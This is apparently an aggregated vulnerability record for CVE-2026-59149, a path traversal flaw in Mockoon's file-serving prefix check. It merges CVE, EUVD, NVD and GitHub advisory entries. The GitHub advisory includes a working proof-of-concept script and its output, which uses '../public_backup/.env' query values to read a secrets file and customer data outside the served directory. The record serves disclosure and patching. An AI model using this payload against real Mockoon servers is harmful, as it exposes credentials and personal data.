{"id":"GHSA-8wqc-v2q8-vff2","revision":null,"records":[{"revision":"8619834c4c3f498dafad9f0ac34351e9","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-59149","aliases":[],"title":"Mockoon: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)","description":"Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.","state":0,"publishedAt":"2026-07-09T18:28:35.693+00:00","modifiedAt":"2026-07-09T18:41:45.833+00:00","affected":[{"ecosystem":"Vendor product","name":"mockoon","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"mockoon\",\n                    \"product\": \"mockoon\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 9.7.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/mockoon/mockoon/security/advisories/GHSA-8wqc-v2q8-vff2","https://github.com/mockoon/mockoon/pull/2255","https://github.com/mockoon/mockoon/commit/b42bdfb7f82e83f0e81bea8e6fe41adf5ec82585","https://github.com/mockoon/mockoon/releases/tag/v9.7.0","https://mockoon.com/releases/9.7.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-59149","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-59149","identifiers":["CVE-2026-59149"]},"retained":false,"historicalAffected":[]},{"revision":"a7b9d53a79f44a729e7ea8d7b34794df","observedAt":"2026-11-13T16:01:57.413+00:00","statement":{"source":"euvd","id":"EUVD-2026-42684","aliases":["CVE-2026-59149","GHSA-8wqc-v2q8-vff2"],"title":"Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBase…","description":"Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","score":6.5,"severity":null}],"references":["https://github.com/mockoon/mockoon/security/advisories/GHSA-8wqc-v2q8-vff2","https://github.com/mockoon/mockoon/pull/2255","https://github.com/mockoon/mockoon/commit/b42bdfb7f82e83f0e81bea8e6fe41adf5ec82585","https://github.com/mockoon/mockoon/releases/tag/v9.7.0","https://mockoon.com/releases/9.7.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-42684","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jul 9, 2026, 6:28:35 PM","dateUpdated":"Jul 9, 2026, 6:41:45 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-42684","identifiers":["EUVD-2026-42684","CVE-2026-59149","GHSA-8wqc-v2q8-vff2"]},"retained":false,"historicalAffected":[]},{"revision":"da31b43ed82b4f85a771fd981fb542d7","observedAt":"2026-10-25T14:19:16.843+00:00","statement":{"source":"nvd","id":"CVE-2026-59149","aliases":[],"title":"Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBase…","description":"Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.","state":0,"publishedAt":"2026-07-09T19:17:07.207+00:00","modifiedAt":"2026-07-10T19:15:15.78+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/mockoon/mockoon/commit/b42bdfb7f82e83f0e81bea8e6fe41adf5ec82585","https://github.com/mockoon/mockoon/pull/2255","https://github.com/mockoon/mockoon/releases/tag/v9.7.0","https://github.com/mockoon/mockoon/security/advisories/GHSA-8wqc-v2q8-vff2","https://mockoon.com/releases/9.7.0"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-59149","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-22","CWE-23"],"productCriteria":[],"sourceDates":{"published":"2026-07-09T19:17:07.207","lastModified":"2026-07-10T19:15:15.780"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-59149","identifiers":["CVE-2026-59149"]},"retained":false,"historicalAffected":[]},{"revision":"d24158d897d74d8b87019069b6220c44","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-8wqc-v2q8-vff2","aliases":["CVE-2026-59149"],"title":"@Mockoon/commons-server: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)","description":"## Summary\n\nA `FILE` response whose `filePath` embeds request data (e.g. `\"/srv/public/{{queryParam 'name'}}\"`, the documented way to let the client pick a file) is confined by `getSafeFilePath` with `resolvedPath.startsWith(staticBaseDir)`. That prefix test has no path-separator boundary, so a `../`-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.\n\n## Details\n\n`packages/commons-server/src/libs/server/server.ts`, `getSafeFilePath` (line 2315). The static base is the text before the first `{{`, resolved to an absolute path; the parsed `filePath` is then bounded by a string-prefix check:\n\n```ts\nconst staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null;     // 2336\nconst parsedFilePath = TemplateParser({ ... request ... });                     // request-controlled\nconst resolvedPath = resolvePath(parsedFilePath);\n\nif (isPathAbsolute) {\n  if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) {              // 2355\n    throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`);\n  }\n} else if (!resolvedPath.startsWith(this.options.environmentDirectory)) {       // 2362\n  throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`);\n}\n```\n\nWith `\"/srv/public/{{queryParam 'name'}}\"`, `staticBaseDir = /srv/public`. A request `name=../public_backup/.env` resolves to `/srv/public_backup/.env`, and `\"/srv/public_backup/.env\".startsWith(\"/srv/public\")` is `true` → served. Any sibling whose absolute path begins with the string `/srv/public` is reachable; the relative branch (`:2362`) is the same against `environmentDirectory`. A correct check appends `sep` to the base, or rejects when `relative(base, resolvedPath)` starts with `..`.\n\n`filePath` is request-controlled (`queryParam`/`urlParam`/header/body via `TemplateParser`) for every `FILE` response: HTTP `sendFile` (`:1762`), WebSocket (`:1145`), callbacks (`:1586`).\n\n## PoC\n\n```sh\ncat > /tmp/poc.sh <<'POC'\nset -e\nmkdir -p /work/public /work/public_backup && cd /work\necho 'public landing page' > public/index.txt\necho 'AWS_SECRET_ACCESS_KEY=redacted' > public_backup/.env\necho 'Michael, michael@example.com, 555-22-7741' > public_backup/customers.csv\ncat > env.json <<'JSON'\n{\"uuid\":\"00000000-0000-0000-0000-000000000001\",\"lastMigration\":33,\"name\":\"f\",\"port\":3000,\"hostname\":\"\",\"folders\":[],\n\"routes\":[{\"uuid\":\"11111111-0000-0000-0000-000000000001\",\"type\":\"http\",\"documentation\":\"\",\"method\":\"get\",\"endpoint\":\"download\",\n\"responses\":[{\"uuid\":\"22222222-0000-0000-0000-000000000001\",\"body\":\"\",\"latency\":0,\"statusCode\":200,\"label\":\"\",\"headers\":[],\n\"bodyType\":\"FILE\",\"filePath\":\"/work/public/{{queryParam 'name'}}\",\"sendFileAsBody\":true,\"rules\":[],\"rulesOperator\":\"OR\",\n\"disableTemplating\":false,\"fallbackTo404\":false,\"default\":true,\"crudKey\":\"id\",\"callbacks\":[]}],\n\"responseMode\":null,\"streamingMode\":null,\"streamingInterval\":0}],\n\"rootChildren\":[{\"type\":\"route\",\"uuid\":\"11111111-0000-0000-0000-000000000001\"}],\n\"proxyMode\":false,\"proxyHost\":\"\",\"proxyRemovePrefix\":false,\n\"tlsOptions\":{\"enabled\":false,\"type\":\"CERT\",\"pfxPath\":\"\",\"certPath\":\"\",\"keyPath\":\"\",\"caPath\":\"\",\"passphrase\":\"\"},\n\"cors\":true,\"headers\":[],\"proxyReqHeaders\":[],\"proxyResHeaders\":[],\"data\":[]}\nJSON\nnpm i -g @mockoon/cli@9.6.1 >/dev/null 2>&1\nmockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 &\nsleep 6\nnode -e '\nconst UA={headers:{\"User-Agent\":\"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0\"}};\nconst g=async(q)=>{const r=await fetch(\"http://127.0.0.1:3000/download?name=\"+encodeURIComponent(q),UA);return (await r.text()).trim();};\n(async()=>{\n console.log(\"[*] intended file (public/index.txt)    :\",await g(\"index.txt\"));\n console.log(\"[+] escape -> ../public_backup/.env     :\",await g(\"../public_backup/.env\"));\n console.log(\"[+] escape -> ../public_backup/customers:\",await g(\"../public_backup/customers.csv\"));\n})();'\nPOC\ndocker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh\n```\n\nOutput:\n\n```text\n[*] intended file (public/index.txt)    : public landing page\n[+] escape -> ../public_backup/.env     : AWS_SECRET_ACCESS_KEY=redacted\n[+] escape -> ../public_backup/customers: Michael, michael@example.com, 555-22-7741\n```\n\n`../public_backup/.env` and `../public_backup/customers.csv` are served, outside `/work/public/`, because their absolute paths string-prefix `/work/public`","state":0,"publishedAt":"2026-09-11T22:04:32+00:00","modifiedAt":"2026-09-11T22:15:03.8803574+00:00","affected":[{"ecosystem":"npm","name":"@mockoon/commons-server","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"9.7.0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"@mockoon/cli","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"9.7.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/mockoon/mockoon/security/advisories/GHSA-8wqc-v2q8-vff2","https://nvd.nist.gov/vuln/detail/CVE-2026-59149","https://github.com/mockoon/mockoon/pull/2255","https://github.com/mockoon/mockoon/commit/b42bdfb7f82e83f0e81bea8e6fe41adf5ec82585","https://github.com/mockoon/mockoon","https://github.com/mockoon/mockoon/releases/tag/v9.7.0","https://mockoon.com/releases/9.7.0"],"sourceUrl":"https://github.com/advisories/GHSA-8wqc-v2q8-vff2","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-8wqc-v2q8-vff2","identifiers":["GHSA-8wqc-v2q8-vff2","CVE-2026-59149"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-13T18:01:05.5413022+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-13T18:01:05.5413022+00:00","lastSuccessAt":"2026-11-13T18:01:05.7729339+00:00","error":null,"lastVerifiedAt":"2026-11-13T18:01:05.7729352+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-d8fa82e95fdb59244e2f635e667ba17f0796ca0a4f1f4bb8cc31febcd660b76c-ccaf70881389a6dde5b6a56695261f5e99c3b78e7d92f29b689b3669ccc7d293","complete":true,"records":425536,"lastAttemptAt":"2026-11-13T17:57:15.2133348+00:00","lastSuccessAt":"2026-11-13T17:57:14.9138678+00:00","error":null,"lastVerifiedAt":"2026-11-13T17:57:15.2133348+00:00","snapshotPublishedAt":"2026-11-13T17:24:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-0935ecd52e0a4dcba231eb8eac2a06d0","complete":false,"records":13797,"lastAttemptAt":"2026-11-13T18:11:36.7102949+00:00","lastSuccessAt":"2026-11-13T18:11:36.702+00:00","error":"824 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-13T18:11:36.702+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":12620,"expectedIdentifiers":13850,"failedIdentifiers":824},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-13T18:01:05.5413022+00:00","complete":true,"records":1123,"lastAttemptAt":"2026-11-13T18:01:05.5413022+00:00","lastSuccessAt":"2026-11-13T18:01:05.7779306+00:00","error":null,"lastVerifiedAt":"2026-11-13T18:01:05.7779313+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-32661fdb309e42beb400bdb9ba8a1124","complete":true,"records":13797,"lastAttemptAt":"2026-11-13T18:01:41.4058929+00:00","lastSuccessAt":"2026-11-13T18:01:41.402+00:00","error":null,"lastVerifiedAt":"2026-11-13T18:01:41.402+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13850,"expectedIdentifiers":13850,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-93e76d404e1aeb6a7e8902f5ffa06211fc86dea3b1958e297abb2668aa5e6e8c","complete":true,"records":9952,"lastAttemptAt":"2026-11-13T18:01:05.3922026+00:00","lastSuccessAt":"2026-11-12T23:19:15.5239119+00:00","error":null,"lastVerifiedAt":"2026-11-13T18:01:05.3922026+00:00","snapshotPublishedAt":"2026-11-12T23:03:02+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-4d60731753a2f72e455d1086e7203d0ef10843936dcc1cf2b45135e2caa204b0","complete":true,"records":2012,"lastAttemptAt":"2026-11-13T17:57:15.3850684+00:00","lastSuccessAt":"2026-11-12T18:16:50.7862525+00:00","error":null,"lastVerifiedAt":"2026-11-13T17:57:15.3850684+00:00","snapshotPublishedAt":"2026-11-12T17:48:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-f7b4a39cba128839548000e6d1d86fef7e48dd6f19f8e345c343f4aa28de8b91","complete":true,"records":3146,"lastAttemptAt":"2026-11-13T18:01:05.4945949+00:00","lastSuccessAt":"2026-11-13T15:58:45.7257812+00:00","error":null,"lastVerifiedAt":"2026-11-13T18:01:05.4945949+00:00","snapshotPublishedAt":"2026-11-13T15:48:17+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-e36c3f641409a47745aac9a2b2ecb0fdf427f10ad1cc88f2e02065e57108d794","complete":true,"records":231780,"lastAttemptAt":"2026-11-13T18:01:05.257177+00:00","lastSuccessAt":"2026-11-13T18:01:03.35099+00:00","error":null,"lastVerifiedAt":"2026-11-13T18:01:05.257177+00:00","snapshotPublishedAt":"2026-11-13T17:33:05+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}